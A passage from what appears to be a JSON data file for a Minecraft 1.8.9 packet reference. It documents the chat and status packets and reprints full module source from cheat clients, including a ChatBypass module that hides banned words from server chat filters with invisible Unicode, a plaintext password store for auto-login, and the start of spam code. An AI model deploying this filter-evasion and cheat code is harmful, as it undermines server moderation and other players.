    "general_hooks": "PacketSendEvent in Rise 6.x BlinkComponent; no other client wires the STATUS state into its event bus.",
    "client_variations": "Classic clients (Memeware, Nekoware, Sigma, Spicy, Tenacity) never reference this packet outside the bundled vanilla OldServerPinger, so their event systems do not even see STATUS-state packets.",
    "related": [
     "C00Handshake",
     "S00PacketServerInfo",
     "C01PacketPing",
     "S01PacketPong"
    ],
    "anticheat": {
     "overview": "The status query is a zero-payload packet that arrives before login, so no anticheat check touches it. The corpus contains only declarations: FlopAC NMSObject and Packet define the START constant for PacketStatusInStart, and Artemis wraps it as PacketStatusClientStart in its packet library. Server-list scanners are the only abuse surface, and that is a proxy-level concern, not a check domain.",
     "checks": []
    }
   },
   "wiki_notes": [
    "The status can only be requested once, immediately after the handshake and before any ping; the server will not respond otherwise.",
    "A client interested only in latency may skip the status request entirely and send a Ping Request instead.",
    "MCP 1.8.9 C00PacketServerQuery implements Packet<INetHandlerStatusServer> dispatching to INetHandlerStatusServer.processServerQuery; wire serde is readPacketData/writePacketData via .",
    "1.8.9 callers: OldServerPinger.onDisconnect sends new C00PacketServerQuery (line 177) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/network/OldServerPinger.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C00PacketServerQuery/",
   "mcp_path": "net/minecraft/network/status/client/C00PacketServerQuery.java",
   "group": "status-server",
   "logic_classes": [
    "OldServerPinger"
   ]
  },
  {
   "id": "C01PacketChatMessage",
   "hex": "0x01",
   "dec": 1,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Chat Message",
   "desc": "Sends a chat message or command from the client to the server.",
   "tags": [
    "chat",
    "message",
    "command"
   ],
   "fields": [
    {
     "name": "message",
     "type": "String",
     "desc": "The chat message or command (commands start with /)"
    }
   ],
   "encoding": [
    [
     "Message",
     "String",
     "Raw text, max 100 chars"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processChatMessage()"
   ],
   "handler": "INetHandlerPlayServer",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The serverbound chat packet carries one String message (max 100 chars client-side, 32767 bytes wire-side). The vanilla client sends it through EntityPlayerSP.sendChatMessage, which runs the client command parser first: any message starting with '/' is a command, otherwise a chat packet is sent. The server's processChatMessage in NetHandlerPlayServer validates length, checks mute/cooldown state, and feeds the message to the server command dispatcher or chat pipeline. For modules this is the single most-intercepted serverbound packet: it is how command systems, spammers, AutoGG, chat bypasses, and login helpers all move data to the server."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayServer.processChatMessage: rejects empty messages, trims whitespace, applies the chat cooldown (10 ticks between messages for regular players), and routes to the command handler if the message starts with '/'. The server-side chat pipeline then runs the message through filters and broadcasts. Client-side, the interesting hook is EntityPlayerSP.sendChatMessage: client commands starting with '/' never become packets, which is why clients that want dot-prefixed commands must intercept the packet itself."
     },
     {
      "h": "Why clients touch it",
      "p": "Five families in the 8 clients. (1) Command systems: Memeware and Nekoware Commands.java intercept every C01, cancel it if the message starts with '.', and dispatch to client-side commands, so dot-commands never reach the server. (2) Chat bypasses: Rise 5.99/6.2.4 ChatBypass rewrites the message with invisible/combining characters to dodge filter plugins. (3) Auto-login: Rise 5.99 AutoAuthme cancels /register and /login packets and sends the stored credentials itself. (4) Auto-spam: Sigma AutoGG, Rise AutoGroomer/AutoHypixel, Memeware Spammer/DeathInsult send canned messages. (5) Client utility: ChatUtil.sendChat_NoFilter in Sigma sends C01 directly, bypassing the vanilla sendChatMessage command parsing. November Recode 2.0 dominates the new-client side of this packet: CommandExecutor cancels dot-prefixed messages and dispatches client commands, IRCChatModule redirects '#'-prefixed messages to an IRC socket, AutoPlayModule re-sends the win or loss click command, and PhaseModule explicitly exempts C01 from its cage-phase packet buffer. LiquidSense Dev has no chat module: its only C01 reference is an unused import in AntiBot.java."
     },
     {
      "h": "Exploit surface",
      "p": "The chat cooldown is client-enforced on most servers; the packet itself carries no timestamp, so sending faster than the cooldown is only detectable server-side by counting packets, which is why spam modules are trivially flagged. The real depth is in rewriting: filter-bypass via Unicode combining characters (Rise's char[] table), and the fact that the server cannot tell a human-typed message from a packet-injected one. ChatBypass is also a privacy edge: it proves the client can rewrite what the user typed before it leaves the machine."
     }
    ],
    "overview": "The most-intercepted serverbound packet in the 8 clients. Command systems cancel it for dot-prefixed client commands, chat bypasses rewrite the payload with Unicode tricks, AutoAuthme hijacks /login and /register, and a fleet of AutoGG/Spammer/Groomer modules inject canned messages. Everything funnels through one String field and one event.",
    "server_handling": "NetHandlerPlayServer.processChatMessage: trims the message, rejects it if empty or over-length, enforces the player's chat cooldown (10 ticks), then routes to the command dispatcher when the message starts with '/'. A serverbound chat packet can never carry a client-side command, so dot-prefix command systems must intercept before the packet leaves the client.",
    "protocol_notes": "Single String field: VarInt length prefix + UTF-8 bytes, 32767 byte cap on the wire; the vanilla client GUI enforces 100 chars. Sent in PLAY state only. Messages are unencrypted-in-transit only before TLS; in practice the whole stream is encrypted (after C01PacketEncryptionResponse).",
    "anticheat_landscape": "Anti-cheats do not flag chat packets themselves; anti-spam and filter plugins do, and they operate purely on content and rate. The detectable surface is the rate: spam modules sending 20+ messages/second trip cooldown and mute systems instantly. Unicode-bypass text is caught by plugin-side normalization (strip combining marks, then compare). The client command hijack (cancelling C01 for dot-commands) is invisible to the server because the packet never exists.",
    "modules": [
     {
      "name": "Commands (client command system)",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private"
      ],
      "purpose": "Intercept chat packets so dot-prefixed messages dispatch to client commands instead of the server.",
      "how_it_works": "A PacketOutEvent handler checks every C01: if the message starts with the prefix ('.'), cancel the packet and run the local command dispatcher. Memeware's implementation splits the message on whitespace, strips the prefix, lowercases the first token, and switches over command names (bind, etc.). The 'say' flag lets the user force a message through to the server when needed.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/misc/Commands.java =====\npackage me.memewaredevs.client.module.misc;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.Memeware;\nimport me.memewaredevs.client.event.events.PacketOutEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.util.ChatUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport org.lwjgl.input.Keyboard;\n\nimport java.awt.*;\nimport java.awt.datatransfer.Clipboard;\nimport java.awt.datatransfer.StringSelection;\nimport java.util.Arrays;\nimport java.util.function.Consumer;\n\npublic class Commands extends Module {\n\n    private boolean say = false;\n\n    public static String clientName = \"Memeware\";\n    public static String editionName = \"Value Patch Edition\";\n    private String prefix = \".\";\n\n    public Commands() {\n        super(\"Commands\", 0, Module.Category.MISC);\n    }\n\n    @Handler\n    public Consumer<PacketOutEvent> eventConsumer0 = (event) -> {\n        Packet p = event.getPacket();\n        if (p instanceof C01PacketChatMessage) {\n            C01PacketChatMessage packet = (C01PacketChatMessage) p;\n            String msg = packet.getMessage();\n            String[] args = msg.split(\" +\");\n            String cmd = args[0].replace(this.prefix, \"\").toLowerCase();\n            if (!say) {\n                if (msg.startsWith(this.prefix)) {\n                    event.cancel();\n                    switch (cmd) {\n                        case \"bind\": {\n                            if (args[2] != null) {\n                                Module m = Memeware.INSTANCE.getModuleManager().getModule(args[1]);\n                                if (m != null) {\n                                    int key = Keyboard.getKeyIndex(args[2].toUpperCase());\n                                    if (key != -1) {\n                                        m.setKeyBind(key);\n                                        ChatUtil.printChat(\"Successfully set bind to \"\n                                                + Keyboard.getKeyName(key) + \".\");\n                                    } else {\n                                        ChatUtil.printChat(\"Invalid command usage! Correct usage: .bind [module] [key]\");\n                                    }\n                                } else {\n                                    ChatUtil.printChat(\"Invalid command usage! Correct usage: .bind [module] [key]\");\n                                }\n                            } else {\n                                ChatUtil.printChat(\"Invalid command usage! Correct usage: .bind [module] [key]\");\n                            }\n                            break;\n                        }\n                        case \"help\": {\n                            String[] cmds = new String[] {\".help\", \".prefix [key]\", \".bind [module] [key]\", \".vclip [amount]\", \".hclip [amount]\", \".name\", \".say [message]\", \".t [module]\", \".toggle [module]\", \".clientname [name]\", \".clientedition [edition]\"};\n                            for (String s : cmds) {\n                                ChatUtil.printChat(s);\n                            }\n                            break;\n                        }\n                        case \"vclip\": {\n                            if (args[1] != null) {\n                                try {\n                                    mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY + Double.parseDouble(args[1]), mc.thePlayer.posZ);\n                                    ChatUtil.printChat(\"VClip'd \" + Double.parseDouble(args[1]) + \" blocks.\");\n                                } catch (Exception e) {\n                                    ChatUtil.printChat(\"Invalid command usage! Correct usage: .vclip [amount]\");\n                                    e.printStackTrace();\n                                }\n                            } else {\n                                ChatUtil.printChat(\"Invalid command usage! Correct usage: .vclip [amount]\");\n                            }\n                            break;\n                        }\n                        case \"hclip\": {\n                            if (args[1] != null) {\n                                try {\n                                    double yaw = Math.toRadians(mc.thePlayer.rotationYaw);\n                                    double distance = Double.parseDouble(args[1]);\n                                    mc.thePlayer.setPosition(mc.thePlayer.posX + -Math.sin(yaw) * distance, mc.thePlayer.posY, mc.thePlayer.posZ + Math.cos(yaw) * distance);\n                                    ChatUtil.printChat(\"HClip'd \" + Double.parseDouble(args[1]) + \" blocks.\");\n                                } catch (Exception e) {\n                                    ChatUtil.printChat(\"Invalid command usage! Correct usage: .hclip [amount]\");\n                                    e.printStackTrace();\n                                }\n                            } else {\n                                ChatUtil.printChat(\"Invalid command usage! Correct usage: .hclip [amount]\");\n                            }\n                            break;\n                        }\n                        case \"name\": {\n                            String name = mc.thePlayer.getName();\n                            StringSelection stringSelection = new StringSelection(name);\n                            Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();\n                            clipboard.setContents(stringSelection, null);\n                            ChatUtil.printChat(\"Copied your username to the clipboard!\");\n                            break;\n                        }\n                        case \"say\": {\n                            if (args[1] != null) {\n                                try {\n                                    String[] bruh = Arrays.copyOfRange(args, 1, args.length);\n                                    String msg1 = String.join(\" \", bruh);\n                                    mc.thePlayer.sendChatMessage(\"\\uF705\" + msg1);\n                                    ChatUtil.printChat(\"Said your chat message!\");\n                                } catch (Exception e) {\n                                    ChatUtil.printChat(\"Invalid command usage! Correct usage: .say [message]\");\n                                    e.printStackTrace();\n                                }\n                            } else {\n                                ChatUtil.printChat(\"Invalid command usage! Correct usage: .say [message]\");\n                            }\n                            break;\n                        }\n                        case \"t\": {\n                            if (args[1] != null) {\n                                try {\n                                    String[] bruh = Arrays.copyOfRange(args, 1, args.length);\n                                    String module = String.join(\" \", bruh);\n                                    Memeware.INSTANCE.getModuleManager().getModule(module).toggle();\n                                    ChatUtil.printChat(\"Toggled \" + module.toUpperCase() + \".\");\n                                } catch (Exception e) {\n                                    ChatUtil.printChat(\"Invalid command usage! Correct usage: .t [module]\");\n                                    e.printStackTrace();\n                                }\n                            } else {\n                                ChatUtil.printChat(\"Invalid command usage! Correct usage: .t [module]\");\n                            }\n                            break;\n                        }\n                        case \"toggle\": {\n                            if (args[1] != null) {\n                                try {\n                                    String[] bruh = Arrays.copyOfRange(args, 1, args.length);\n                                    String module = String.join(\" \", bruh);\n                                    Memeware.INSTANCE.getModuleManager().getModule(module).toggle();\n                                    ChatUtil.printChat(\"Toggled \" + module.toUpperCase() + \".\");\n                                } catch (Exception e) {\n                                    ChatUtil.printChat(\"Invalid command usage! Correct usage: .toggle [module]\");\n                                    e.printStackTrace();\n                                }\n                            } else {\n                                ChatUtil.printChat(\"Invalid command usage! Correct usage: .toggle [module]\");\n                            }\n                            break;\n                        }\n                        case \"clientname\": {\n                            if (args[1] != null) {\n                                try {\n                                    String[] bruh = Arrays.copyOfRange(args, 1, args.length);\n                                    String aeiofhneaon = String.join(\" \", bruh);\n                                    this.clientName = aeiofhneaon;\n                                    ChatUtil.printChat(\"Client name set to \" + aeiofhneaon + \".\");\n                                } catch (Exception e) {\n                                    ChatUtil.printChat(\"Invalid command usage! Correct usage: .clientname [name]\");\n                                    e.printStackTrace();\n                                }\n                            } else {\n                                ChatUtil.printChat(\"Invalid command usage! Correct usage: .clientname [name]\");\n                            }\n                            break;\n                        }\n                        case \"clientedition\": {\n                            if (args[1] != null) {\n                                try {\n                                    String[] bruh = Arrays.copyOfRange(args, 1, args.length);\n                                    String aeiofhneaon = String.join(\" \", bruh);\n                                    this.editionName = aeiofhneaon;\n                                    ChatUtil.printChat(\"Client Edition set to \" + aeiofhneaon + \".\");\n                                } catch (Exception e) {\n                                    ChatUtil.printChat(\"Invalid command usage! Correct usage: .clientedition [edition]\");\n                                    e.printStackTrace();\n                                }\n                            } else {\n                                ChatUtil.printChat(\"Invalid command usage! Correct usage: .clientedition [edition]\");\n                            }\n                            break;\n                        }\n                        case \"prefix\": {\n                            if (args[1] != null) {\n                                try {\n                                    String[] bruh = Arrays.copyOfRange(args, 1, args.length);\n                                    String aeiofhneaon = String.join(\" \", bruh);\n                                    this.prefix = aeiofhneaon;\n                                    ChatUtil.printChat(\"Prefix set to \" + aeiofhneaon);\n                                } catch (Exception e) {\n                                    ChatUtil.printChat(\"Invalid command usage! Correct usage: .prefix [key]\");\n                                    e.printStackTrace();\n                                }\n                            } else {\n                                ChatUtil.printChat(\"Invalid command usage! Correct usage: .prefix [key]\");\n                            }\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    };\n}\n// NOTE (AI): eventConsumer0 intercepts every outgoing chat packet; messages starting\n// with the '.' prefix are cancelled and dispatched to client-side commands\n// (bind, toggle, etc.). The 'say' flag forces a raw message through.",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/misc/Commands.java",
      "vanilla_hook": "PacketOutEvent.",
      "anti_cheat_notes": "Invisible to the server: the cancelled packet never exists. The only visible effect is that dot-messages never appear in chat, which looks like a client chat filter to observers.",
      "variations": "Nekoware v1 private ships the same pattern in its own Commands.java; both clients also expose ChatUtil.printChat for local feedback."
     },
     {
      "name": "ChatBypass",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4"
      ],
      "purpose": "Rewrite outgoing non-command messages so server filter plugins cannot match banned words.",
      "how_it_works": "On PacketSendEvent, if the packet is C01 and the message does not start with '/', rebuild the string: for every character append the character plus a random invisible Unicode character (from a ~500-entry table of combining/zero-width chars), repeated three times. The Hypixel mode uses a fixed combining char 'ˌ'. The rewritten packet replaces the original via event.setPacket.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/ChatBypass.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.ModeSetting;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\n\n@ModuleInfo(name = \"ChatBypass\", description = \"Bypasses chat filters\", category = Category.OTHER)\npublic final class ChatBypass extends Module {\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Normal\", \"Normal\", \"Hypixel\");\n\n    private final char[] chars = new char[]{\n            '͸', '͹', 'Ϳ', '΀', '΁', '΂', '΃', '΋', '΍', '΢', 'Ԥ', 'ԥ', 'Ԧ', 'ԧ', 'Ԩ', 'ԩ', 'Ԫ', 'ԫ', 'Ԭ', 'ԭ', 'Ԯ', 'ԯ', '԰', '՗', '՘', 'ՠ', 'ֈ', '֋', '֌', '֍', '֎', '֏', '֐', '׈', '׉', '׊', '׋', '׌', '׍', '׎', '׏', '׫', '׬', '׭', '׮', 'ׯ', '׵', '׶', '׷', '׸', '׹', '׺', '׻', '׼', '׽', '׾', '׿', '؄', '؅', '؜', '؝', 'ؠ', 'ٟ', '܎', '݋', '݌', '޲', '޳', '޴', '޵', '޶', '޷', '޸', '޹', '޺', '޻', '޼', '޽', '޾', '޿', '߻', '߼', '߽', '߾', '߿', 'ࠀ', 'ࠁ', 'ࠂ', 'ࠃ', 'ࠄ', 'ࠅ', 'ࠆ', 'ࠇ', 'ࠈ', 'ࠉ', 'ࠊ', 'ࠋ', 'ࠌ', 'ࠍ', 'ࠎ', 'ࠏ', 'ࠐ', 'ࠑ', 'ࠒ', 'ࠓ', 'ࠔ', 'ࠕ', 'ࠖ', 'ࠗ', '࠘', '࠙', 'ࠚ', 'ࠛ', 'ࠜ', 'ࠝ', 'ࠞ', 'ࠟ', 'ࠠ', 'ࠡ', 'ࠢ', 'ࠣ', 'ࠤ', 'ࠥ', 'ࠦ', 'ࠧ', 'ࠨ', 'ࠩ', 'ࠪ', 'ࠫ', 'ࠬ', '࠭', '࠮', '࠯', '࠰', '࠱', '࠲', '࠳', '࠴', '࠵', '࠶', '࠷', '࠸', '࠹', '࠺', '࠻', '࠼', '࠽', '࠾', '࠿', 'ࡀ', 'ࡁ', 'ࡂ', 'ࡃ', 'ࡄ', 'ࡅ', 'ࡆ', 'ࡇ', 'ࡈ', 'ࡉ', 'ࡊ', 'ࡋ', 'ࡌ', 'ࡍ', 'ࡎ', 'ࡏ', 'ࡐ', 'ࡑ', 'ࡒ', 'ࡓ', 'ࡔ', 'ࡕ', 'ࡖ', 'ࡗ', 'ࡘ', '࡙', '࡚', '࡛', '࡜', '࡝', '࡞', '࡟', 'ࡠ', 'ࡡ', 'ࡢ', 'ࡣ', 'ࡤ', 'ࡥ', 'ࡦ', 'ࡧ', 'ࡨ', 'ࡩ', 'ࡪ', '࡫', '࡬', '࡭', '࡮', '࡯', 'ࡰ', 'ࡱ', 'ࡲ', 'ࡳ', 'ࡴ', 'ࡵ', 'ࡶ', 'ࡷ', 'ࡸ', 'ࡹ', 'ࡺ', 'ࡻ', 'ࡼ', 'ࡽ', 'ࡾ', 'ࡿ', 'ࢀ', 'ࢁ', 'ࢂ', 'ࢃ', 'ࢄ', 'ࢅ', 'ࢆ', 'ࢇ', '࢈', 'ࢉ', 'ࢊ', 'ࢋ', 'ࢌ', 'ࢍ', 'ࢎ', '࢏', '࢐', '࢑', '࢒', '࢓', '࢔', '࢕', '࢖', 'ࢗ', '࢘', '࢙', '࢚', '࢛', '࢜', '࢝', '࢞', '࢟', 'ࢠ', 'ࢡ', 'ࢢ', 'ࢣ', 'ࢤ', 'ࢥ', 'ࢦ', 'ࢧ', 'ࢨ', 'ࢩ', 'ࢪ', 'ࢫ', 'ࢬ', 'ࢭ', 'ࢮ', 'ࢯ', 'ࢰ', 'ࢱ', 'ࢲ', 'ࢳ', 'ࢴ', 'ࢵ', 'ࢶ', 'ࢷ', 'ࢸ', 'ࢹ', 'ࢺ', 'ࢻ', 'ࢼ', 'ࢽ', 'ࢾ', 'ࢿ', 'ࣀ', 'ࣁ', 'ࣂ', 'ࣃ', 'ࣄ', 'ࣅ', 'ࣆ', 'ࣇ', 'ࣈ', 'ࣉ', '࣊', '࣋', '࣌', '࣍', '࣎', '࣏', '࣐', '࣑', '࣒', '࣓', 'ࣔ', 'ࣕ', 'ࣖ', 'ࣗ', 'ࣘ', 'ࣙ', 'ࣚ', 'ࣛ', 'ࣜ', 'ࣝ', 'ࣞ', 'ࣟ', '࣠', '࣡', '࣢', 'ࣣ', 'ࣤ', 'ࣥ', 'ࣦ', 'ࣧ', 'ࣨ', 'ࣩ', '࣪', '࣫', '࣬', '࣭', '࣮', '࣯', 'ࣰ', 'ࣱ', 'ࣲ', 'ࣳ', 'ࣴ', 'ࣵ', 'ࣶ', 'ࣷ', 'ࣸ', 'ࣹ', 'ࣺ', 'ࣻ', 'ࣼ', 'ࣽ', 'ࣾ', 'ࣿ', 'ऀ', 'ऺ', 'ऻ', 'ॎ', 'ॏ', 'ॕ', 'ॖ', 'ॗ', 'ॳ', 'ॴ', 'ॵ', 'ॶ', 'ॷ', 'ॸ', 'ॹ', 'ॺ', 'ঀ', '঄', '঍', '঎', '঑', '঒', '঩', '঱', '঳', '঴', '঵', '঺', '঻', '৅', '৆', '৉', '৊', '৏', '৐', '৑', '৒', '৓', '৔', '৕', '৖', '৘', '৙', '৚', '৛', '৞', '৤', '৥', '৻', 'ৼ', '৽', '৾', '৿', '਀', '਄', '਋', '਌', '਍', '਎', '਑', '਒', '਩', '਱', '਴', '਷', '਺', '਻', '਽', '੃', '੄', '੅', '੆', '੉', '੊', '੎', '੏'\n    };\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (event.getPacket() instanceof C01PacketChatMessage) {\n            final C01PacketChatMessage packet = ((C01PacketChatMessage) event.getPacket());\n            final String message = packet.getMessage();\n\n            if (!message.startsWith(\"/\")) {\n                final StringBuilder bypass = new StringBuilder(message.length() * 2);\n\n                for (int i = 0; i < message.length(); i++) {\n                    final char character = message.charAt(i);\n                    char randomChar = chars[randomInt(0, chars.length)];\n\n                    if (mode.is(\"Hypixel\"))\n                        randomChar = 'ˌ';\n\n                    bypass.append(character).append(randomChar);\n                    bypass.append(character).append(randomChar);\n                    bypass.append(character).append(randomChar);\n                }\n\n                packet.setMessage(bypass.toString());\n                event.setPacket(packet);\n            }\n        }\n    }\n}\n// NOTE (AI): Full ChatBypass source. onPacketSend rebuilds non-command messages by\n// tripling every character and interleaving a random invisible Unicode\n// char (or the fixed combining char 0x02CC for Hypixel mode). The rewritten\n// packet replaces the original via event.setPacket.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/ChatBypass.java",
      "vanilla_hook": "PacketSendEvent; mutates the packet and re-sets it on the event.",
      "anti_cheat_notes": "Filter plugins that strip combining characters before matching defeat the Normal mode; the Hypixel mode survives because the server-side chat renderer collapses the combining char visually. No anti-cheat flags this as movement/combat abuse.",
      "variations": "Rise 6.2.4 ships the same module in its module/impl/other tree; Rise 6.1.30 does not reference C01PacketChatMessage in ChatBypass form."
     },
     {
      "name": "AutoAuthme",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Automate /register and /login on auth-me servers using stored credentials.",
      "how_it_works": "On PacketSendEvent, if not yet logged in and the outgoing message is exactly /register or /login, cancel the packet and fire the stored credentials via the module's own send path. Credentials come from a per-server login file loaded at startup.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/AutoAuthme.java =====\npackage dev.rise.module.impl.other;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.other.OpenGUIEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.util.math.RandomUtil;\nimport dev.rise.util.misc.FileUtil;\nimport lombok.Data;\nimport net.minecraft.client.gui.GuiDisconnected;\nimport net.minecraft.client.gui.GuiMainMenu;\nimport net.minecraft.client.gui.GuiMultiplayer;\nimport net.minecraft.client.gui.GuiScreen;\nimport net.minecraft.client.multiplayer.GuiConnecting;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.server.S02PacketChat;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\n\n@ModuleInfo(name = \"AutoAuthme\", description = \"Automatically authenticates you when the server is using the Authme plugin\", category = Category.OTHER)\npublic class AutoAuthme extends Module {\n\n    private static final ScheduledExecutorService SCHEDULED_EXECUTOR = Executors.newScheduledThreadPool(1);\n\n    private static final List<AutoAuthmeLogin> logins = new ArrayList<>();\n\n    private boolean loggedIn, loggingIn;\n\n    public static void loadLogins() {\n        final String loginContent = FileUtil.loadFile(\"authmelogins.txt\");\n        if (loginContent == null) return;\n\n        for (final String loginLine : loginContent.split(\"\\r\\n\")) {\n            final String[] loginData = loginLine.split(\":\");\n            if (loginLine.length() < 3) continue;\n            logins.add(new AutoAuthmeLogin(loginData[0], loginData[1], loginData[2]));\n        }\n    }\n\n    public static void saveLogins() {\n        final StringBuilder loginContent = new StringBuilder();\n        for (final AutoAuthmeLogin login : logins) {\n            loginContent.append(\"\\r\\n\").append(login.getServerIp()).append(\":\").append(login.getUsername()).append(\":\").append(login.getPassword());\n        }\n        FileUtil.saveFile(\"authmelogins.txt\", true, loginContent.toString());\n    }\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n        loggedIn = loggingIn = false;\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (!loggedIn && !loggingIn) {\n            if (event.getPacket() instanceof C01PacketChatMessage) {\n                final C01PacketChatMessage packet = (C01PacketChatMessage) event.getPacket();\n                final String message = packet.getMessage();\n\n                if (message.equalsIgnoreCase(\"/register\")) {\n                    register();\n                    event.setCancelled(true);\n                } else if (message.equalsIgnoreCase(\"/login\")) {\n                    login();\n                    event.setCancelled(true);\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (!loggedIn && !loggingIn) {\n            if (event.getPacket() instanceof S02PacketChat) {\n                final S02PacketChat packet = (S02PacketChat) event.getPacket();\n\n                // Get the message with color and formatting codes removed\n                final String message = packet.getChatComponent().getUnformattedText();\n\n                if (message.toLowerCase().contains(\"/register\")) {\n                    register();\n                } else if (message.toLowerCase().contains(\"/login\")) {\n                    login();\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onOpenGUI(final OpenGUIEvent event) {\n        final GuiScreen gui = event.getNewScreen();\n        if (mc.getCurrentServerData() == null || gui == null\n                || gui instanceof GuiConnecting || gui instanceof GuiMultiplayer\n                || gui instanceof GuiDisconnected || gui instanceof GuiMainMenu) {\n            loggedIn = loggingIn = false;\n        }\n    }\n\n    private void register() {\n        loggingIn = true;\n        final String serverIp = mc.getCurrentServerData().serverIP;\n        final String username = mc.thePlayer.getName();\n        final String password = RandomUtil.randomStringOfSize(8, RandomUtil.QWERTY_CHARSET);\n\n        Rise.addChatMessage(\n                \"AutoAuthme is automatically registering and logging in for you! Hover for login info!\",\n                \"Server IP: \" + serverIp + \"\\nUsername: \" + username + \"\\nPassword: \" + password\n        );\n\n        mc.thePlayer.sendChatMessage(\"/register \" + password + \" \" + password);\n        SCHEDULED_EXECUTOR.schedule(() -> {\n            mc.thePlayer.sendChatMessage(\"/login \" + password);\n            loggedIn = true;\n        }, 1L, TimeUnit.SECONDS);\n\n        logins.add(new AutoAuthmeLogin(serverIp, username, password));\n    }\n\n    private void login() {\n        loggingIn = true;\n\n        final String serverIp = mc.getCurrentServerData().serverIP;\n        final String username = mc.thePlayer.getName();\n\n        for (final AutoAuthmeLogin login : logins) {\n            if (login.getServerIp().equalsIgnoreCase(serverIp) && login.getUsername().equalsIgnoreCase(username)) {\n                final String password = login.getPassword();\n\n                mc.thePlayer.sendChatMessage(\"/login \" + password);\n\n                Rise.addChatMessage(\n                        \"AutoAuthme is automatically logging you in! Hover for login info!\",\n                        \"Server IP: \" + serverIp + \"\\nUsername: \" + username + \"\\nPassword: \" + password\n                );\n\n                loggedIn = true;\n                return;\n            }\n        }\n    }\n}\n\n@Data\nclass AutoAuthmeLogin {\n    private final String serverIp, username, password;\n}\n// NOTE (AI): onPacketSend cancels /register and /login packets and fires the stored\n// credentials itself; login state resets on WorldChangedEvent.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/AutoAuthme.java",
      "vanilla_hook": "PacketSendEvent; state tracked via WorldChangedEvent.",
      "anti_cheat_notes": "Sending credentials faster than a human can type is the only tell; most auth-me servers do not rate-limit login packets. The cancelled /register and /login packets never reach the server, so the server never sees the double-login attempt.",
      "variations": "Rise 6.x keeps the feature in other forms (AutoGroomer, AutoHypixel reference C01 in 6.1.30/6.2.4)."
     },
     {
      "name": "AutoGG / AutoGroomer / Spammer",
      "found_in": [
       "Sigma 4.11",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Memeware 7.3"
      ],
      "purpose": "Inject canned messages after events (game end, kill) or on a timer.",
      "how_it_works": "Sigma AutoGG listens for death/win indicators (S02PacketChat patterns) and calls ChatUtil.sendChat(\"gg\"). Sigma's ChatUtil has two paths: sendChat goes through vanilla sendChatMessage (client command parsing applies), while sendChat_NoFilter pushes a C01PacketChatMessage straight into the send queue, bypassing the client command parser. Rise's AutoGroomer and AutoHypixel send their own scripted message sequences on world join.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/minigames/AutoGG.java =====\npackage info.sigmaclient.module.impl.minigames;\n\nimport java.util.ArrayList;\nimport java.util.ConcurrentModificationException;\n\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventTick;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.command.Command;\nimport info.sigmaclient.management.command.impl.Sigmeme;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.module.data.Options;\nimport info.sigmaclient.module.data.Setting;\nimport info.sigmaclient.module.impl.combat.AntiBot;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.client.gui.GuiIngameMenu;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.server.S02PacketChat;\n\nimport org.lwjgl.input.Keyboard;\n\nimport com.ibm.icu.util.StringTrieBuilder.Option;\n\n\n\npublic class AutoGG extends Module {\n\n    public static int multiSwap;\n    public static boolean isSwapping;\n    public static boolean 